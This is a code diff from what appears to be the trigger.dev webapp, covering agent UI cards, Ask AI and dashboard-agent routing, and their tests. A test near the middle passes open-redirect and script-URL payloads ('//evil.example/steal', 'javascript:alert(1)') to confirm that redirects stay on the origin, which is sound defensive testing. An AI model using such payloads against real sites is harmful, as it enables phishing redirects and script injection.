A <Em>platform-side</Em> problem — not your code
</>
),
cancellation: (
<>
The run was <Em>cancelled</Em> before finishing
</>
),
unknown: (
<>
The cause <Em>couldn't be classified</Em>
</>
),
};
const EVIDENCE_LABELS: Record<DiagnosisBlock["evidence"][number]["type"], string> = {
@@ -43,104 +82,74 @@ const EVIDENCE_LABELS: Record<DiagnosisBlock["evidence"][number]["type"], string
historical_match: "History",
};
// Build a run-page path in the current org/project/env, or null when that route
// context is absent (e.g. the storybook page) so the card degrades to plain
// text rather than throwing.
function useRunPath(runId: string): string | null {
// Null when the route context is absent, so the card degrades to plain text.
function useRunPathResolver(): (runId: string) => string | null {
const organization = useOptionalOrganization();
const project = useOptionalProject();
const environment = useOptionalEnvironment();
if (!organization || !project || !environment) return null;
return v3RunPath(organization, project, environment, { friendlyId: runId });
return (runId) =>
organization && project && environment
? v3RunPath(organization, project, environment, { friendlyId: runId })
: null;
}
function useRunPath(runId: string): string | null {
return useRunPathResolver()(runId);
}
// Internal link to a run page, built from the canonical path builder so it stays
// correct if the route shape changes. Falls back to plain text off-context.
function RunLink({ runId, className }: { runId: string; className?: string }) {
const to = useRunPath(runId);
if (!to) return <span className={cn("font-mono text-text-dimmed", className)}>{runId}</span>;
return (
<Link to={to} className={cn("text-indigo-400 underline hover:text-indigo-300", className)}>
<TextLink to={to} variant="token" className={cn("underline", className)}>
{runId}
</Link>
</TextLink>
);
}
// Render an evidence `reference`: a run id links to its run page, an https URL
// becomes an external link, everything else (error id, file:line, version) is
// shown as monospace text.
function EvidenceReference({ reference }: { reference: string }) {
if (/^run_[a-z0-9]+$/i.test(reference)) {
if (isRunFriendlyId(reference)) {
return <RunLink runId={reference} className="font-mono text-xs" />;
}
const safeUrl = toSafeUrl(reference);
if (safeUrl) {
return (
<a
<TextLink
href={safeUrl}
variant="token"
target="_blank"
rel="noopener noreferrer"
className="font-mono text-xs text-indigo-400 underline hover:text-indigo-300"
className="font-mono text-xs underline"
>
{reference}
</a>
</TextLink>
);
}
return <span className="font-mono text-xs text-text-dimmed">{reference}</span>;
}
function DiagnosisActions({ actions }: { actions: NonNullable<DiagnosisBlock["actions"]> }) {
const buttonClass =
"inline-flex items-center rounded border border-border-bright bg-background-bright px-2.5 py-1 text-xs text-text-bright transition-colors hover:border-border-brightest hover:bg-background-hover";
return (
<div className="flex flex-wrap gap-2 pt-1">
{actions.map((action, i) => {
if (action.kind === "view_run" && /^run_[a-z0-9]+$/i.test(action.target)) {
return (
<RunActionButton
key={i}
runId={action.target}
label={action.label}
className={buttonClass}
/>
);
}
if (action.kind === "docs") {
const safeUrl = toSafeUrl(action.target);
if (!safeUrl) return null;
return (
<a
key={i}
href={safeUrl}
target="_blank"
rel="noopener noreferrer"
className={buttonClass}
>
{action.label}
</a>
);
}
return null;
})}
</div>
);
}
const runPath = useRunPathResolver();
const planned = planDiagnosisActions(actions, {
runPath,
docsUrl: (target) => toSafeUrl(target),
});
if (planned.length === 0) return null;
function RunActionButton({
runId,
label,
className,
}: {
runId: string;
label: string;
className: string;
}) {
const to = useRunPath(runId);
if (!to) return <span className={className}>{label}</span>;
return (
<Link to={to} className={className}>
{label}
</Link>
<div className="flex flex-wrap gap-2 pt-2">
{planned.map((action, i) =>
action.kind === "docs" ? (
<LinkButton key={i} to={action.to} variant="docs/small" LeadingIcon={BookOpenIcon}>
{action.label}
</LinkButton>
) : (
<LinkButton key={i} to={action.to} variant="primary/small">
{action.label}
</LinkButton>
)
)}
</div>
);
}
@@ -150,19 +159,24 @@ export function RunDiagnosisCard({ block }: { block: DiagnosisBlock }) {
const actions = block.actions ?? [];
return (
<div className="overflow-hidden rounded-lg border border-border-bright bg-background-dimmed">
<div className="flex flex-wrap items-center gap-2 border-b border-grid-bright bg-background-bright px-3 py-2">
<span className="text-xs font-medium text-text-dimmed">Run diagnosis</span>
<Badge variant="small" className="border-rose-500/40 text-rose-400">
{CATEGORY_LABELS[block.category] ?? block.category}
</Badge>
<Badge variant="small" className={cn("uppercase", CONFIDENCE_STYLES[block.confidence])}>
{block.confidence} confidence
</Badge>
{block.runId ? <RunLink runId={block.runId} className="ml-auto font-mono text-xs" /> : null}
</div>
<AgentCard>
<AgentCardHeader className="space-y-1.5">
<div className="flex flex-wrap items-center gap-2">
<span className="text-xs font-medium text-text-dimmed">Run diagnosis</span>
<ConfidenceBadge confidence={block.confidence} />
</div>
<p className="text-sm text-text-dimmed">
{CATEGORY_SENTENCES[block.category] ?? block.category}
</p>
{block.runId ? (
<div className="truncate">
{/* `block` so the ellipsis still lands: the link itself is inline-flex. */}
<RunLink runId={block.runId} className="block truncate font-mono text-xs" />
</div>
) : null}
</AgentCardHeader>
<div className="space-y-3 px-3 py-3">
<AgentCardBody density="roomy">
<p className="text-sm text-text-bright">{block.summary}</p>
<Section title="Likely cause">
@@ -171,18 +185,20 @@ export function RunDiagnosisCard({ block }: { block: DiagnosisBlock }) {
{evidence.length > 0 ? (
<Section title="Evidence">
<ul className="space-y-1.5">
<ul className="space-y-3">
{evidence.map((item, i) => (
<li key={i} className="text-xs text-text-dimmed">
<span className="mr-1.5 rounded-sm bg-background-raised px-1 py-0.5 text-[10px] uppercase tracking-wide text-text-dimmed">
<li key={i} className={EVIDENCE_ROW_CLASS}>
<CategoryBadge className="justify-self-start">
{EVIDENCE_LABELS[item.type] ?? item.type}
</span>
<span className="text-text-bright">{item.detail}</span>
{item.reference ? (
<span className="ml-1.5">
<EvidenceReference reference={item.reference} />
</span>
) : null}
</CategoryBadge>
<div className="min-w-0 space-y-1 text-xs">
<p className="text-text-bright">{item.detail}</p>
{item.reference ? (
<div className="break-all">
<EvidenceReference reference={item.reference} />
</div>
) : null}
</div>
</li>
))}
</ul>
@@ -197,7 +213,7 @@ export function RunDiagnosisCard({ block }: { block: DiagnosisBlock }) {
{nextSteps.length > 0 ? (
<Section title="Next steps">
<ol className="list-decimal space-y-1 pl-4">
<ol className="list-decimal space-y-2 pl-5">
{nextSteps.map((step, i) => (
<li key={i} className="text-sm text-text-dimmed">
{step}
@@ -208,14 +224,14 @@ export function RunDiagnosisCard({ block }: { block: DiagnosisBlock }) {
) : null}
{actions.length > 0 ? <DiagnosisActions actions={actions} /> : null}
</div>
</div>
</AgentCardBody>
</AgentCard>
);
}
function Section({ title, children }: { title: string; children: React.ReactNode }) {
return (
<div className="space-y-1">
<div className="space-y-2">
<h4 className="text-xs font-medium uppercase tracking-wide text-text-dimmed">{title}</h4>
{children}
</div>
@@ -0,0 +1,173 @@
import {
CheckCircleIcon,
ExclamationCircleIcon,
ExclamationTriangleIcon,
InformationCircleIcon,
NoSymbolIcon,
QuestionMarkCircleIcon,
} from "@heroicons/react/20/solid";
import { Badge } from "~/components/primitives/Badge";
import { cn } from "~/utils/cn";
export type AgentTone = "neutral" | "success" | "warning" | "error";
// Semantic tokens, not raw palette classes: raw ones are dark-theme only.
// The `system:` overrides stop the Badge `small` variant tinting every chip blue.
const TONE_BADGE: Record<AgentTone, string> = {
neutral:
"border-border-bright text-text-dimmed system:border-transparent system:bg-charcoal-500/10 system:text-text-dimmed",
success:
"border-success/40 text-success system:border-transparent system:bg-success/10 system:text-success",
warning:
"border-warning/40 text-warning system:border-transparent system:bg-warning/10 system:text-warning",
error:
"border-error/40 text-error system:border-transparent system:bg-error/10 system:text-error",
};
export const TONE_ICON_COLOR: Record<AgentTone, string> = {
neutral: "text-text-dimmed",
success: "text-success",
warning: "text-warning",
error: "text-error",
};
type IconComponent = (props: { className?: string }) => JSX.Element;
export function AgentBadge({
tone = "neutral",
icon: Icon,
className,
children,
}: {
tone?: AgentTone;
icon?: IconComponent;
className?: string;
children: React.ReactNode;
}) {
return (
<Badge
variant="small"
className={cn(
// `contrast-chip`: the tinted chip gains a ring as interface contrast rises.
"contrast-chip px-1.5 [&>span]:flex [&>span]:items-center [&>span]:gap-1",
TONE_BADGE[tone],
className
)}
>
{Icon ? <Icon className="size-3 shrink-0" /> : null}
{children}
</Badge>
);
}
export function CategoryBadge({
className,
children,
}: {
className?: string;
children: React.ReactNode;
}) {
return (
<AgentBadge tone="neutral" className={className}>
{children}
</AgentBadge>
);
}
export type AgentConfidence = "high" | "medium" | "low";
const CONFIDENCE_TONE: Record<AgentConfidence, AgentTone> = {
high: "success",
medium: "warning",
low: "neutral",
};
const CONFIDENCE_ICON: Record<AgentConfidence, IconComponent> = {
high: CheckCircleIcon,
medium: ExclamationTriangleIcon,
low: QuestionMarkCircleIcon,
};
const CONFIDENCE_LABEL: Record<AgentConfidence, string> = {
high: "High confidence",
medium: "Medium confidence",
low: "Low confidence",
};
export function ConfidenceBadge({ confidence }: { confidence: AgentConfidence }) {
return (
<AgentBadge tone={CONFIDENCE_TONE[confidence]} icon={CONFIDENCE_ICON[confidence]}>
{CONFIDENCE_LABEL[confidence]}
</AgentBadge>
);
}
export type AgentSeverity = "info" | "warn" | "crit";
const SEVERITY_TONE: Record<AgentSeverity, AgentTone> = {
info: "neutral",
warn: "warning",
crit: "error",
};
const SEVERITY_ICON: Record<AgentSeverity, IconComponent> = {
info: InformationCircleIcon,
warn: ExclamationTriangleIcon,
crit: ExclamationCircleIcon,
};
export function SeverityBadge({
severity,
children,
}: {
severity: AgentSeverity;
children: React.ReactNode;
}) {
return (
<AgentBadge tone={SEVERITY_TONE[severity]} icon={SEVERITY_ICON[severity]}>
{children}
</AgentBadge>
);
}
export type AgentVerdict = "testing" | "validated" | "invalidated";
const VERDICT_TONE: Record<AgentVerdict, AgentTone> = {
testing: "neutral",
validated: "success",
invalidated: "neutral",
};
const VERDICT_ICON: Record<AgentVerdict, IconComponent | undefined> = {
testing: undefined,
validated: CheckCircleIcon,
invalidated: NoSymbolIcon,
};
export function VerdictBadge({
verdict,
children,
}: {
verdict: AgentVerdict;
children: React.ReactNode;
}) {
return (
<AgentBadge tone={VERDICT_TONE[verdict]} icon={VERDICT_ICON[verdict]}>
{children}
</AgentBadge>
);
}
export const EVIDENCE_ROW_CLASS = "grid grid-cols-[6.5rem_1fr] items-start gap-x-3";
export function AgentStatusIcon({
tone,
icon: Icon,
className,
}: {
tone: AgentTone;
icon: IconComponent;
className?: string;
}) {
return <Icon className={cn("size-4 shrink-0", TONE_ICON_COLOR[tone], className)} />;
}
@@ -0,0 +1,44 @@
// The transcript's card chrome. `ChatCardSlot` places a card; this owns the box,
// so stacked cards can't drift apart on border, surface or header inset.
import type { ReactNode } from "react";
import { cn } from "~/utils/cn";
const CARD_BOX = "overflow-hidden rounded-lg border border-border-bright bg-background-dimmed";
/** One header inset for every card, whatever its body density. */
const CARD_HEADER = "border-b border-grid-bright bg-background-bright px-3 py-2";
const CARD_BODY: Record<AgentCardDensity, string> = {
compact: "space-y-4 px-3 py-3.5",
roomy: "space-y-5 px-3 py-4",
};
/** How much air a card's body gives its sections. */
export type AgentCardDensity = "compact" | "roomy";
export function AgentCard({ className, children }: { className?: string; children: ReactNode }) {
return <div className={cn(CARD_BOX, className)}>{children}</div>;
}
/** The card's top strip. `className` carries its own layout, never its inset. */
export function AgentCardHeader({
className,
children,
}: {
className?: string;
children: ReactNode;
}) {
return <div className={cn(CARD_HEADER, className)}>{children}</div>;
}
export function AgentCardBody({
density = "compact",
className,
children,
}: {
density?: AgentCardDensity;
className?: string;
children: ReactNode;
}) {
return <div className={cn(CARD_BODY[density], className)}>{children}</div>;
}
@@ -0,0 +1,13 @@
import { ChatBubbleLeftRightIcon } from "@heroicons/react/20/solid";
// TODO(TRI-12763): swap in the final character icon here.
export const AGENT_NAME = "Trigger";
export const ASK_AGENT_LABEL = `Ask ${AGENT_NAME}`;
export const AgentIcon = ChatBubbleLeftRightIcon;
export const AGENT_ICON_ACCENT_CLASS = "text-indigo-500";
// The open keystroke is `TOGGLE_PANEL_SHORTCUT` in `dashboardAgentLauncher`,
// registered once by the host.
@@ -0,0 +1,62 @@
import { describe, expect, it } from "vitest";
import { hotkeyOptions } from "~/hooks/useShortcutKeys";
import { ASK_AI_SHORTCUT } from "./ask-ai-channels";
import { TOGGLE_PANEL_SHORTCUT } from "./dashboardAgentLauncher";
const enabled = { isEnabled: true };
describe("the agent's shortcuts", () => {
it("asks for Cmd-J's browser default to be prevented", () => {
expect(TOGGLE_PANEL_SHORTCUT.key).toBe("j");
expect(TOGGLE_PANEL_SHORTCUT.modifiers).toEqual(["mod"]);
expect(hotkeyOptions({ shortcut: TOGGLE_PANEL_SHORTCUT, ...enabled }).preventDefault).toBe(
true
);
});
it("fires from inside the composer", () => {
const options = hotkeyOptions({ shortcut: TOGGLE_PANEL_SHORTCUT, ...enabled });
expect(options.enableOnFormTags).toBe(true);
expect(options.enableOnContentEditable).toBe(true);
});
it("leaves Cmd-I's default alone", () => {
expect(hotkeyOptions({ shortcut: ASK_AI_SHORTCUT, ...enabled }).preventDefault).toBe(false);
});
});
describe("hotkeyOptions", () => {
it("defaults to leaving the browser default alone", () => {
expect(hotkeyOptions({ shortcut: { key: "k" }, ...enabled })).toEqual({
enabled: true,
enableOnFormTags: false,
enableOnContentEditable: false,
preventDefault: false,
});
});
// The library calls preventDefault before it checks `enabled`.
it("does not prevent the default while the shortcut is disabled", () => {
expect(
hotkeyOptions({ shortcut: TOGGLE_PANEL_SHORTCUT, isEnabled: false }).preventDefault
).toBe(false);
});
it("lets the call site turn on input elements for a shortcut that did not", () => {
const options = hotkeyOptions({
shortcut: { key: "k" },
isEnabled: true,
enabledOnInputElements: true,
});
expect(options.enableOnFormTags).toBe(true);
});
it("survives an undefined shortcut", () => {
expect(hotkeyOptions({ shortcut: undefined, isEnabled: false })).toEqual({
enabled: false,
enableOnFormTags: false,
enableOnContentEditable: false,
preventDefault: false,
});
});
});
@@ -0,0 +1,46 @@
import { describe, expect, it } from "vitest";
import { aiMenuEntries, aiShortcutRows } from "./ai-entry-points";
// These prove the decision, not the render: the components map these lists to rows, so a row can
// still be mislabelled — but it can no longer be shown to someone who cannot use it.
describe("aiMenuEntries", () => {
it("offers the agent and Ask AI when the reader has both", () => {
expect(aiMenuEntries({ agent: true, askAi: true })).toEqual(["agent", "ask-ai"]);
});
it("offers Ask AI on its own where Kapa is configured and the agent is not available", () => {
expect(aiMenuEntries({ agent: false, askAi: true })).toEqual(["ask-ai"]);
});
it("offers the agent on its own where Kapa is not configured", () => {
expect(aiMenuEntries({ agent: true, askAi: false })).toEqual(["agent"]);
});
it("offers nothing when neither surface exists", () => {
expect(aiMenuEntries({ agent: false, askAi: false })).toEqual([]);
});
});
describe("aiShortcutRows", () => {
it("lists ⌘J's row only for a reader with the agent", () => {
expect(aiShortcutRows({ agent: true, askAi: false })).toContain("agent-toggle");
expect(aiShortcutRows({ agent: false, askAi: true })).not.toContain("agent-toggle");
});
it("lists ⌘I's row wherever Ask AI can open", () => {
expect(aiShortcutRows({ agent: false, askAi: true })).toContain("ask-ai");
expect(aiShortcutRows({ agent: true, askAi: true })).toContain("ask-ai");
expect(aiShortcutRows({ agent: true, askAi: false })).not.toContain("ask-ai");
});
it("keeps the chat rows with the agent that owns them", () => {
expect(aiShortcutRows({ agent: true, askAi: true })).toEqual([
"agent-toggle",
"ask-ai",
"agent-new-chat",
"agent-close-chat",
]);
expect(aiShortcutRows({ agent: false, askAi: false })).toEqual([]);
});
});
@@ -0,0 +1,32 @@
/**
* Which AI surfaces the reader can actually use. The agent is gated on access, Ask AI exists
* only where Kapa is configured, and all four combinations ship so neither surface may assume
* the other is there, and neither may advertise what the reader cannot reach.
*/
export type AiSurfaces = {
/** A dashboard-agent host is mounted for this user. */
agent: boolean;
/** `askAiCanOpen`: managed cloud with a Kapa website id. */
askAi: boolean;
};
export type AiMenuEntry = "agent" | "ask-ai";
/** Help & Feedback offers every AI surface the reader has, and nothing when they have none. */
export function aiMenuEntries({ agent, askAi }: AiSurfaces): AiMenuEntry[] {
const entries: AiMenuEntry[] = [];
if (agent) entries.push("agent");
if (askAi) entries.push("ask-ai");
return entries;
}
export type AiShortcutRow = "agent-toggle" | "ask-ai" | "agent-new-chat" | "agent-close-chat";
/** The shortcuts sheet lists a keystroke only where its surface registered it. */
export function aiShortcutRows({ agent, askAi }: AiSurfaces): AiShortcutRow[] {
const rows: AiShortcutRow[] = [];
if (agent) rows.push("agent-toggle");
if (askAi) rows.push("ask-ai");
if (agent) rows.push("agent-new-chat", "agent-close-chat");
return rows;
}
@@ -0,0 +1,174 @@
import { readFileSync } from "node:fs";
import { describe, expect, it } from "vitest";
import {
agentDeepLinkParams,
aiHelpDocsUrl,
aiHelpRedirectUrl,
askAiCanOpen,
askAiChannelTarget,
} from "./ask-ai-channels";
const CLOUD = { isManagedCloud: true, kapaWebsiteId: "kapa-id" };
const SELF_HOSTED = { isManagedCloud: false, kapaWebsiteId: "kapa-id" };
const CLOUD_UNCONFIGURED = { isManagedCloud: true, kapaWebsiteId: undefined };
describe("askAiCanOpen", () => {
it("needs managed cloud and a website id", () => {
expect(askAiCanOpen(CLOUD)).toBe(true);
expect(askAiCanOpen(SELF_HOSTED)).toBe(false);
expect(askAiCanOpen(CLOUD_UNCONFIGURED)).toBe(false);
expect(askAiCanOpen({ isManagedCloud: true, kapaWebsiteId: "" })).toBe(false);
});
});
/**
* I and the CLI's help link are Ask AI's. Neither may dead-end where Kapa cannot load, so
* both fall through to the dashboard agent instead of doing nothing.
*/
describe("askAiChannelTarget", () => {
it("gives the channel to Ask AI where it can open", () => {
expect(askAiChannelTarget(CLOUD)).toBe("ask-ai");
});
it("falls through to the agent on self-hosted", () => {
expect(askAiChannelTarget(SELF_HOSTED)).toBe("dashboard-agent");
});
it("falls through to the agent when no website id is configured", () => {
expect(askAiChannelTarget(CLOUD_UNCONFIGURED)).toBe("dashboard-agent");
});
});
/**
* Both surfaces are mounted on an environment page and both read the URL; whichever reads
* `aiHelp` first deletes it, so exactly one of them may be watching for it. The agent is
* otherwise reached by explicit invocation only it owns no deep link of its own.
*/
describe("agentDeepLinkParams", () => {
it("reads no deep link at all where Ask AI can open", () => {
expect(agentDeepLinkParams(CLOUD)).toEqual([]);
});
it("picks `aiHelp` up itself where Ask AI cannot", () => {
expect(agentDeepLinkParams(SELF_HOSTED)).toEqual(["aiHelp"]);
expect(agentDeepLinkParams(CLOUD_UNCONFIGURED)).toEqual(["aiHelp"]);
});
it("never claims the retired `ask` param", () => {
expect(agentDeepLinkParams(CLOUD)).not.toContain("ask");
expect(agentDeepLinkParams(SELF_HOSTED)).not.toContain("ask");
});
it("returns a stable identity, so the reader's effect does not re-run every render", () => {
expect(agentDeepLinkParams(CLOUD)).toBe(agentDeepLinkParams(CLOUD));
expect(agentDeepLinkParams(SELF_HOSTED)).toBe(agentDeepLinkParams(SELF_HOSTED));
});
});
describe("aiHelpRedirectUrl", () => {
const url = aiHelpRedirectUrl({
environmentPath: "/orgs/acme/projects/api/env/dev",
origin: "https://cloud.trigger.dev",
query: "Error: task timed out & failed",
});
it("carries the question in the param Ask AI reads", () => {
expect(new URL(url).searchParams.get("aiHelp")).toBe("Error: task timed out & failed");
});
it("lands on the environment page", () => {
expect(url.startsWith("https://cloud.trigger.dev/orgs/acme/projects/api/env/dev?")).toBe(true);
});
/**
* The only caller passes a path its own builder made, so none of these are reachable today.
* The guard is here rather than at the `redirect()` because this helper is the one place both
* that route and any future caller go through, and it is the only pure one of the two.
*/
it("stays on `origin` whatever shape the path arrives in", () => {
const off = (environmentPath: string) =>
new URL(
aiHelpRedirectUrl({
environmentPath,
origin: "https://cloud.trigger.dev",
query: "why",
})
);
expect(off("https://evil.example/steal").origin).toBe("https://cloud.trigger.dev");
expect(off("//evil.example/steal").origin).toBe("https://cloud.trigger.dev");
expect(off("https://evil.example//steal").origin).toBe("https://cloud.trigger.dev");
expect(off("javascript:alert(1)").origin).toBe("https://cloud.trigger.dev");
});
it("keeps the path, search and fragment of a normal internal path", () => {
const parsed = new URL(
aiHelpRedirectUrl({
environmentPath: "/orgs/acme/projects/api/env/dev?tab=runs#top",
origin: "https://cloud.trigger.dev",
query: "why",
})
);
expect(parsed.pathname).toBe("/orgs/acme/projects/api/env/dev");
expect(parsed.searchParams.get("tab")).toBe("runs");
expect(parsed.searchParams.get("aiHelp")).toBe("why");
expect(parsed.hash).toBe("#top");
});
});
/**
* Structural guard, not behavioural proof: these assert the wiring is present in source, not
* that a keystroke or a redirect does the right thing at runtime.
*/
describe("wiring", () => {
const appLayout = readFileSync(new URL("../../routes/_app/route.tsx", import.meta.url), "utf8");
const agent = readFileSync(new URL("./DashboardAgent.tsx", import.meta.url), "utf8");
const askAI = readFileSync(new URL("../AskAI.tsx", import.meta.url), "utf8");
const cliRoute = readFileSync(
new URL("../../routes/projects.$projectRef.ai-help.ts", import.meta.url),
"utf8"
);
it("mounts `AskAIRoot` in the `_app` layout as a sibling of the app, not a wrapper", () => {
expect(appLayout).toContain("<AskAIRoot />");
expect(appLayout).not.toContain("<AskAIRoot>");
});
it("gives `AskAIRoot` no children to render", () => {
expect(askAI).toContain("export function AskAIRoot() {");
});
it("gates the agent's ⌘I on owning the channel", () => {
const registration = agent.slice(
agent.indexOf("shortcut: ASK_AI_SHORTCUT"),
agent.lastIndexOf("useDashboardAgentOpenRequests")
);
expect(registration).toContain("!ownsAskAiChannels");
});
it("registers ⌘I in Ask AI's own provider", () => {
expect(askAI).toContain("shortcut: ASK_AI_SHORTCUT");
});
it("builds the CLI redirect through the shared helper", () => {
expect(cliRoute).toContain("aiHelpRedirectUrl(");
});
// Structural: the loader needs a session and a database, so the branch is asserted on source.
it("sends the CLI link to the docs when neither surface can open it", () => {
expect(cliRoute).toContain("if (!canOpenSomething)");
expect(cliRoute).toContain("redirect(aiHelpDocsUrl(query))");
expect(cliRoute).toContain("askAiCanOpen(");
expect(cliRoute).toContain("canAccessDashboardAgent(");
});
});
describe("aiHelpDocsUrl", () => {
it("carries the question to the docs", () => {
const url = new URL(aiHelpDocsUrl("Error: task timed out & failed"));
expect(url.origin + url.pathname).toBe("https://trigger.dev/docs");
expect(url.searchParams.get("q")).toBe("Error: task timed out & failed");
});
});
@@ -0,0 +1,82 @@
/**
* Two entry points belong to Ask AI (`components/AskAI.tsx`): I, and the CLI's `?aiHelp=`
* link. The dashboard agent is reached by explicit invocation only no deep links except as
* the fall-through here: Ask AI is Kapa, which only exists on managed cloud, so both channels
* go to the agent wherever Kapa cannot open.
*/
import type { Shortcut } from "~/hooks/useShortcutKeys";
/** Registered by whichever surface owns the channel — never both. */
export const ASK_AI_SHORTCUT: Shortcut = {
modifiers: ["mod"],
key: "i",
enabledOnInputElements: true,
};
export type AskAiAvailability = {
isManagedCloud: boolean;
kapaWebsiteId: string | undefined;
};
export function askAiCanOpen(availability: AskAiAvailability): boolean {
return availability.isManagedCloud && !!availability.kapaWebsiteId;
}
export type AskAiChannelTarget = "ask-ai" | "dashboard-agent";
export function askAiChannelTarget(availability: AskAiAvailability): AskAiChannelTarget {
return askAiCanOpen(availability) ? "ask-ai" : "dashboard-agent";
}
/** The CLI's link. Ask AI's own deep-link reader is keyed to this name. */
export const ASK_AI_DEEP_LINK_PARAM = "aiHelp";
export type DeepLinkParam = typeof ASK_AI_DEEP_LINK_PARAM;
// Returned by identity, so the reader's effect doesn't re-run every render.
const NO_PARAMS: readonly DeepLinkParam[] = [];
const ASK_AI_PARAMS: readonly DeepLinkParam[] = [ASK_AI_DEEP_LINK_PARAM];
/**
* The agent owns no deep link of its own. It reads `aiHelp` only as the fall-through: both
* surfaces watch the URL and whichever reads the param first deletes it, so where Ask AI can
* open, the agent must not look at all.
*/
export function agentDeepLinkParams(availability: AskAiAvailability): readonly DeepLinkParam[] {
return askAiChannelTarget(availability) === "ask-ai" ? NO_PARAMS : ASK_AI_PARAMS;
}
/**
* Where the same link lands when neither surface can open it: nothing in the dashboard would
* read the deep link, so the question goes to the docs rather than to a page that ignores it.
*/
export function aiHelpDocsUrl(query: string): string {
const docs = new URL("https://trigger.dev/docs");
docs.searchParams.set("q", query);
return docs.toString();
}
/**
* Where `trigger dev`'s "Get a fix for this error using AI" link lands. Always on `origin`: an
* absolute or protocol-relative `environmentPath` would otherwise decide the host itself, and
* the caller feeds this straight to `redirect()`.
*/
export function aiHelpRedirectUrl({
environmentPath,
origin,
query,
}: {
environmentPath: string;
origin: string;
query: string;
}): string {
const base = new URL(origin);
const requested = new URL(environmentPath, base);
// Exactly one leading slash: a `javascript:` path has none and would run into the host, and
// two would read as the start of another authority.
const path = `/${requested.pathname.replace(/^\/+/, "")}`;
const url = new URL(base.origin + path + requested.search + requested.hash);
url.searchParams.set(ASK_AI_DEEP_LINK_PARAM, query);
return url.toString();
}
@@ -0,0 +1,25 @@
import { describe, expect, it } from "vitest";
import { registerAskAiHost, requestAskAi } from "./askAiOpenRequest";
describe("the Ask AI open-request bridge", () => {
it("reports no host until one registers", () => {
expect(requestAskAi()).toBe(false);
const off = registerAskAiHost(() => {});
expect(requestAskAi()).toBe(true);
off();
expect(requestAskAi()).toBe(false);
});
it("hands the host the question it was asked for", () => {
const asked: Array<string | undefined> = [];
const off = registerAskAiHost((question) => asked.push(question));
requestAskAi("how do I deploy?");
requestAskAi();
expect(asked).toEqual(["how do I deploy?", undefined]);
off();
});
});
@@ -0,0 +1,27 @@
import { useEffect } from "react";
// Module-level bridge, mirroring `dashboardAgentOpenRequest`: Ask AI's host sits in the `_app`
// layout as a sibling of the app, so callers reach it by request rather than through context.
type Handler = (question?: string) => void;
const handlers = new Set<Handler>();
/** Returns the unsubscribe. */
export function registerAskAiHost(handler: Handler): () => void {
handlers.add(handler);
return () => {
handlers.delete(handler);
};
}
/** Returns false when no host is mounted (self-hosted, or before hydration). */
export function requestAskAi(question?: string): boolean {
if (handlers.size === 0) return false;
for (const handler of handlers) handler(question);
return true;
}
export function useAskAiHost(open: Handler) {
useEffect(() => registerAskAiHost(open), [open]);
}
@@ -0,0 +1,127 @@
// Source-level checks: "a consumer writes no spacing class" is a property of the
// source, not of the rendered DOM.
import { readFileSync } from "node:fs";
import { join } from "node:path";
import { describe, expect, it } from "vitest";
const DIR = __dirname;
const CONSUMERS = ["DashboardAgentMessages.tsx"];
const LIBRARY = "chat-layout.tsx";
const REGION = /#region chat-layout transcript([\s\S]*?)#endregion chat-layout transcript/g;
// Matched at a class-name boundary so `gap-2` is caught but `min-w-0` is not.
const SPACING_CLASS =
/(?:^|[\s"'`])-?(?:p|px|py|pt|pb|pl|pr|m|mx|my|mt|mb|ml|mr|gap|gap-x|gap-y|space-x|space-y)-[\w./[\]%-]+/;
function read(file: string): string {
return readFileSync(join(DIR, file), "utf8");
}
function transcriptRegions(source: string): string[] {
return [...source.matchAll(REGION)].map((match) => match[1]!);
}
describe("chat-layout enforcement", () => {
for (const consumer of CONSUMERS) {
describe(consumer, () => {
const source = read(consumer);
const regions = transcriptRegions(source);
it("marks its transcript-level code with a chat-layout region", () => {
expect(regions.length).toBeGreaterThan(0);
// A region that shrank to nothing would pass every other assertion.
expect(regions.join("").length).toBeGreaterThan(200);
});
it("imports its layout from the library", () => {
expect(source).toMatch(/from "\.{1,2}\/(?:\.\.\/)?chat-layout"/);
});
for (const [i, region] of regions.entries()) {
it(`renders no spinner of its own in transcript region ${i + 1}`, () => {
expect(region).not.toContain("AgentSpinner");
});
it(`writes no spacing class in transcript region ${i + 1}`, () => {
const offenders = region
.split("\n")
.filter((line) => SPACING_CLASS.test(line))
.map((line) => line.trim());
expect(
offenders,
`use a chat-layout micro-layout instead:\n${offenders.join("\n")}`
).toEqual([]);
});
}
});
}
describe(LIBRARY, () => {
const source = read(LIBRARY);
it("is the single owner of the transcript's padding and rhythm", () => {
// Pinned so a geometry change lands here, not as drift in one consumer.
expect(source).toContain('const TRANSCRIPT_INSET_X = "px-4"');
expect(source).toContain('const TRANSCRIPT_INSET_Y = "py-4"');
expect(source).toContain('const TURN_GAP = "space-y-4"');
expect(source).toContain('const TURN_BODY_GAP = "space-y-2"');
});
it("exports a component for every documented micro-layout", () => {
for (const name of [
"ChatTranscript",
"ChatTurn",
"ChatText",
"ChatCardSlot",
"ChatProgress",
"ChatToolRow",
"ChatNote",
"ChatStatusLine",
"ChatActionsRow",
]) {
expect(source, name).toContain(`export function ${name}(`);
}
});
it("renders the agent spinner from exactly one micro-layout", () => {
const renderSites = [...source.matchAll(/<AgentSpinner\b/g)];
expect(renderSites).toHaveLength(1);
expect(source).toContain("export function ChatProgress(");
});
it("renders assistant text as prose, not as a card", () => {
expect(source).not.toContain("ChatBubble");
});
it("gives the user bubble a grey surface, not the accent", () => {
expect(source).toContain("bg-background-raised");
expect(source).not.toMatch(/bg-indigo-\d/);
});
});
/**
* Structural guard, not behavioural proof: the webapp has no DOM test environment, so nothing
* here lays the panel out or scrolls it. It asserts the class combination that loses the top
* of an overflowing column is absent `justify-center` on a scroll container centres by
* distributing free space, and negative free space overflows past the scroll origin, where a
* child's `m-auto` collapses to zero instead.
*/
describe("scrolling panes", () => {
const SCROLLERS = ["DashboardAgentHero.tsx"];
it.each(SCROLLERS)("%s centres an overflowing column with auto margins", (file) => {
const source = read(file);
const scrollLines = source
.split("\n")
.filter((line) => line.includes("overflow-y-auto") || line.includes("overflow-auto"));
expect(scrollLines.length).toBeGreaterThan(0);
for (const line of scrollLines) {
expect(line, line.trim()).not.toMatch(/\bjustify-center\b/);
}
expect(source).toMatch(/\bm-auto\b/);
});
});
});
@@ -0,0 +1,187 @@
// All transcript spacing lives here. Consumers compose these micro-layouts and
// write no spacing classes of their own; `chat-layout.test.ts` enforces that.
import type { Ref } from "react";
import { createContext, Suspense, useContext } from "react";
import { StreamdownRenderer } from "~/components/code/StreamdownRenderer";
import { AgentSpinner } from "~/components/primitives/Spinner";
import { cn } from "~/utils/cn";
const TRANSCRIPT_INSET_X = "px-4";
